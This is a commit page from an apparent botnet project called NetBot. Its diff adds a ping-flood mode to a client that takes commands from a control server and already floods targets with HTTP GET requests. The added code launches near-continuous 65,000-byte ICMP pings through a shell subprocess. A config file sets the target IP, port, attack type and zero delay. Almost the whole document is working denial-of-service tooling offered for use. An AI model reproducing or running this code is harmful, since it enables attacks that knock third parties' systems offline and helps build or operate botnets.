Skip to content

Commit 1ee2d32

Browse files
committed
Ping of Death / Ping Flood Attack Added
1 parent 749c604 commit 1ee2d32

File tree

3 files changed

+32
-15
lines changed

3 files changed

+32
-15
lines changed
-341 Bytes
Binary file not shown.

netbot_client.py

Lines changed: 26 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,8 @@
1515
#import requests
1616
import os
1717
import urllib.request
18+
import subprocess
19+
import signal
1820

1921

2022

@@ -27,15 +29,27 @@ def terminate(self):
2729
self._running = False
2830

2931
def run(self, n):
30-
while self._running and attackSet:
31-
32-
url_attack = 'http://'+n[0]+':'+n[1]+'/'
33-
34-
#r = requests.get("http://192.168.0.151/")
35-
u = urllib.request.urlopen(url_attack).read()
36-
#print("Value ", n)
37-
#print("URL", url_attack)
38-
time.sleep(int(n[4]))
32+
run = 0
33+
#terminate = 0
34+
if n[3]=="HTTPFLOOD":
35+
while self._running and attackSet:
36+
url_attack = 'http://'+n[0]+':'+n[1]+'/'
37+
u = urllib.request.urlopen(url_attack).read()
38+
time.sleep(int(n[4]))
39+
40+
if n[3]=="PINGFLOOD":
41+
while self._running:
42+
if attackSet:
43+
if run == 0:
44+
url_attack = 'ping '+n[0]+' -i 0.0000001 -s 65000 > /dev/null 2>&1'
45+
pro = subprocess.Popen(url_attack, stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)
46+
run = 1
47+
else:
48+
if run == 1:
49+
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
50+
run = 0
51+
break
52+
3953

4054

4155
def Main():
@@ -45,6 +59,8 @@ def Main():
4559
attackSet = 0
4660
global updated
4761
updated = 0
62+
global terminate
63+
terminate = 0
4864

4965

5066
host = '192.168.0.174' # NetBot CCC Server
@@ -129,4 +145,4 @@ def Main():
129145
s.close()
130146

131147
if __name__ == '__main__':
132-
Main()
148+
Main()

netbot_config.py

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,16 @@
1-
ATTACK_TARGET_HOST = "192.168.0.174" # IP address of the machine to be attacked.
2-
ATTACK_TARGET_PORT = "80" # Port Number of the machine to be attacked.
1+
ATTACK_TARGET_HOST = "192.168.0.105" # IP address of the machine to be attacked.
2+
ATTACK_TARGET_PORT = "3000" # Port Number of the machine to be attacked.
33

44
#################################################################################
55

66
# Type of Attacks (Other Attacks are not yet supported)
7-
#HTTPFLOOD - Floods the target system with GET requests.
7+
#HTTPFLOOD - Floods the target system with GET requests. (PORT and DELAY parameters required)
8+
#PINGFLOOD - Floods the target system with ICMP echo requests. (PORT AND DELAY parameters not required)
89

9-
ATTACK_TYPE = "HTTPFLOOD"
10+
ATTACK_TYPE = "PINGFLOOD"
1011

1112
# Number of seconds delay between the burst of requests. 0 for No Delay
12-
ATTACK_BURST_SECONDS = "1"
13+
ATTACK_BURST_SECONDS = "0"
1314

1415
#################################################################################
1516

0 commit comments

Comments
 (0)